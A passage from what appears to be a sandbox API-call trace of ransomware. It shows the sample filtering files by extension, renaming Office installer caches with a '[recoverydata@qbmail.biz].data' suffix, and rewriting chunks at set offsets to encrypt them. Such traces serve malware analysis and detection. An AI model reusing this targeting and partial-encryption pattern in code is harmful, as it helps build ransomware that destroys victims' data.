Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString=".dbf") returned 4 [0095.315] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString=".1cd") returned 4 [0095.315] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString=".jpg") returned 4 [0095.315] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.315] lstrlenW (lpString=".doc") returned 4 [0095.315] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString=".docx") returned 5 [0095.315] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.315] lstrlenW (lpString=".pdf") returned 4 [0095.315] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.315] lstrlenW (lpString=".xls") returned 4 [0095.315] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.316] lstrlenW (lpString=".xlsx") returned 5 [0095.316] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.316] lstrlenW (lpString=".ppt") returned 4 [0095.316] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.316] lstrlenW (lpString=".zip") returned 4 [0095.316] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.316] lstrlenW (lpString=".rar") returned 4 [0095.316] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.316] lstrlenW (lpString=".bz2") returned 4 [0095.316] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.316] lstrlenW (lpString=".7z") returned 3 [0095.316] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.316] lstrlenW (lpString=".dbf") returned 4 [0095.316] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.316] lstrlenW (lpString=".1cd") returned 4 [0095.316] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0095.316] lstrlenW (lpString=".jpg") returned 4 [0095.316] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.316] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0095.317] lstrlenW (lpString="OneNoteMUI.msi") returned 14 [0095.317] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0095.317] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=2503680) returned 1 [0095.317] CloseHandle (hObject=0x20c) returned 1 [0095.317] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi")) returned 0x2020 [0095.317] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.317] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0095.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0095.469] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0095.469] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.469] ReadFile (in: hFile=0x20c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.492] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.492] ReadFile (in: hFile=0x20c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.528] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0095.528] ReadFile (in: hFile=0x20c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.600] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.601] WriteFile (in: hFile=0x20c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0095.898] SetEndOfFile (hFile=0x20c) returned 1 [0095.898] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0096.006] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.006] WriteFile (in: hFile=0x20c, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.009] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.011] WriteFile (in: hFile=0x20c, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.020] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.020] WriteFile (in: hFile=0x20c, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0096.027] CloseHandle (hObject=0x20c) returned 1 [0096.028] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0096.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.028] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.028] lstrlenW (lpString=".doc") returned 4 [0096.028] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.028] lstrlenW (lpString=".docx") returned 5 [0096.028] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.028] lstrlenW (lpString=".pdf") returned 4 [0096.028] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.028] lstrlenW (lpString=".xls") returned 4 [0096.029] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.029] lstrlenW (lpString=".xlsx") returned 5 [0096.029] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.029] lstrlenW (lpString=".ppt") returned 4 [0096.029] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.029] lstrlenW (lpString=".zip") returned 4 [0096.029] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.029] lstrlenW (lpString=".rar") returned 4 [0096.029] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.029] lstrlenW (lpString=".bz2") returned 4 [0096.029] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.029] lstrlenW (lpString=".7z") returned 3 [0096.029] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.029] lstrlenW (lpString=".dbf") returned 4 [0096.029] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.029] lstrlenW (lpString=".1cd") returned 4 [0096.029] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.029] lstrlenW (lpString=".jpg") returned 4 [0096.029] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.030] lstrlenW (lpString=".doc") returned 4 [0096.030] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.030] lstrlenW (lpString=".docx") returned 5 [0096.030] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.030] lstrlenW (lpString=".pdf") returned 4 [0096.030] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.030] lstrlenW (lpString=".xls") returned 4 [0096.030] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.030] lstrlenW (lpString=".xlsx") returned 5 [0096.030] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.030] lstrlenW (lpString=".ppt") returned 4 [0096.030] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.031] lstrlenW (lpString=".zip") returned 4 [0096.031] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.031] lstrlenW (lpString=".rar") returned 4 [0096.031] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.031] lstrlenW (lpString=".bz2") returned 4 [0096.031] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.031] lstrlenW (lpString=".7z") returned 3 [0096.031] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.031] lstrlenW (lpString=".dbf") returned 4 [0096.031] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.031] lstrlenW (lpString=".1cd") returned 4 [0096.031] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.031] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 77 [0096.031] lstrlenW (lpString=".jpg") returned 4 [0096.031] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.032] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0096.032] lstrlenW (lpString="GrooveLR.cab") returned 12 [0096.032] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0096.033] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=4095519) returned 1 [0096.033] CloseHandle (hObject=0x20c) returned 1 [0096.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0096.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.033] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0096.034] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0096.034] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0x0) returned 1 [0096.034] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0096.035] ReadFile (in: hFile=0x20c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.306] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0096.309] ReadFile (in: hFile=0x20c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.315] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x304fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0096.315] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x304fc2c | out: lpNewFilePointer=0x0) returned 1 [0096.315] ReadFile (in: hFile=0x20c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x304fc38*=0x40000, lpOverlapped=0x0) returned 1 [0096.347] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.347] WriteFile (in: hFile=0x20c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x304fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x304fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0096.742] SetEndOfFile (hFile=0x20c) returned 1 [0096.742] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x402a0d0 [0096.749] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.749] WriteFile (in: hFile=0x20c, lpBuffer=0x402a0d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x402a0d0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.752] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.752] WriteFile (in: hFile=0x20c, lpBuffer=0x402a0d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x402a0d0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.755] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x304fc7c | out: lpNewFilePointer=0x0) returned 1 [0096.755] WriteFile (in: hFile=0x20c, lpBuffer=0x402a0d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc88, lpOverlapped=0x0 | out: lpBuffer=0x402a0d0*, lpNumberOfBytesWritten=0x304fc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.758] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x402a0d0 | out: hHeap=0x5b0000) returned 1 [0096.758] CloseHandle (hObject=0x20c) returned 1 [0097.165] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.314] lstrlenW (lpString=".doc") returned 4 [0097.314] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0097.314] lstrlenW (lpString=".docx") returned 5 [0097.314] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0097.314] lstrlenW (lpString=".pdf") returned 4 [0097.314] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0097.314] lstrlenW (lpString=".xls") returned 4 [0097.314] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0097.314] lstrlenW (lpString=".xlsx") returned 5 [0097.314] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0097.314] lstrlenW (lpString=".ppt") returned 4 [0097.314] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0097.314] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.314] lstrlenW (lpString=".zip") returned 4 [0097.314] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0097.315] lstrlenW (lpString=".rar") returned 4 [0097.315] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0097.315] lstrlenW (lpString=".bz2") returned 4 [0097.315] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0097.315] lstrlenW (lpString=".7z") returned 3 [0097.315] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0097.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.315] lstrlenW (lpString=".dbf") returned 4 [0097.315] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0097.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.315] lstrlenW (lpString=".1cd") returned 4 [0097.315] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0097.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.315] lstrlenW (lpString=".jpg") returned 4 [0097.315] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0097.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.315] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.315] lstrlenW (lpString=".doc") returned 4 [0097.315] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0097.315] lstrlenW (lpString=".docx") returned 5 [0097.315] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0097.315] lstrlenW (lpString=".pdf") returned 4 [0097.315] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString=".xls") returned 4 [0097.316] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString=".xlsx") returned 5 [0097.316] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0097.316] lstrlenW (lpString=".ppt") returned 4 [0097.316] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.316] lstrlenW (lpString=".zip") returned 4 [0097.316] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString=".rar") returned 4 [0097.316] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString=".bz2") returned 4 [0097.316] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0097.316] lstrlenW (lpString=".7z") returned 3 [0097.316] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0097.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.316] lstrlenW (lpString=".dbf") returned 4 [0097.316] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0097.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.316] lstrlenW (lpString=".1cd") returned 4 [0097.316] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0097.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0097.316] lstrlenW (lpString=".jpg") returned 4 [0097.317] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0097.317] lstrcmpiW (lpString1=".cab", lpString2=".data") returned -1 [0097.317] lstrlenW (lpString="OfficeLR.cab") returned 12 [0097.317] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0097.448] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x304ff1c | out: lpFileSize=0x304ff1c*=14127746) returned 1 [0097.448] CloseHandle (hObject=0x214) returned 1 [0097.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0097.448] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0097.449] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0097.449] CreateFileW 